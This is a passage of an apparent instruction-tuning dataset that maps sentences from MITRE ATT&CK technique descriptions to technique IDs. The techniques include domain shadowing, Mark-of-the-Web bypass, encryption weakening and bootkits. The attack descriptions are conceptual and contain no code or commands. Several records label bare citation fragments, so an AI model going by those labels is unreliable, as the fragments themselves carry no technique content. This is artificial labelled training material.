MITRE techniques contained in the text.", "input": "Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records.", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)", "output": "T1584.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) ### Response: T1584.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party infrastructure that can be used during targeting.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party infrastructure that can be used during targeting. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "campaigns.(Citation: FireEye DNS Hijack 2019)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: campaigns.(Citation: FireEye DNS Hijack 2019) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert these trust mechanisms.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert these trust mechanisms. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method adversaries use will depend on the specific mechanism they seek to subvert.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method adversaries use will depend on the specific mechanism they seek to subvert. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Identifier 2020)", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Identifier 2020) ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files that are tagged with MOTW are protected and cannot perform certain actions.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files that are tagged with MOTW are protected and cannot perform certain actions. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020) ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MOTW is a NTFS feature and many container files do not support NTFS alternative data streams.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020) ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes).", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, longer keys increase the cost of cryptanalysis, or decryption without the key. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can compromise and manipulate devices that perform encryption of network traffic.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can compromise and manipulate devices that perform encryption of network traffic. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data. ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks.", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering.", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors.", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)).", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use bootkits to persist on systems.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use bootkits to persist on systems. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Mandiant M Trends 2016)", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Mandiant M Trends 2016) ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is the location of the boot loader.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is the location of the boot loader. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Lau 2011)", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Lau 2011) ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The MBR passes control of the boot process to the VBR.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The MBR passes control of the boot process to the VBR. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "output": "T1542.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code. ### Response: T1542.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify component firmware to persist on systems.", "output": "T1542.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify component firmware to persist on systems. ### Response: T1542.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS.", "output": "T1542.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. ### Response: T1542.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.", "output": "T1542.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking. ### Response: T1542.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "output": "T1542.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks. ### Response: T1542.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect.", "output": "T1542.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. ### Response: T1542.004."}{"instruction": "List the MITRE 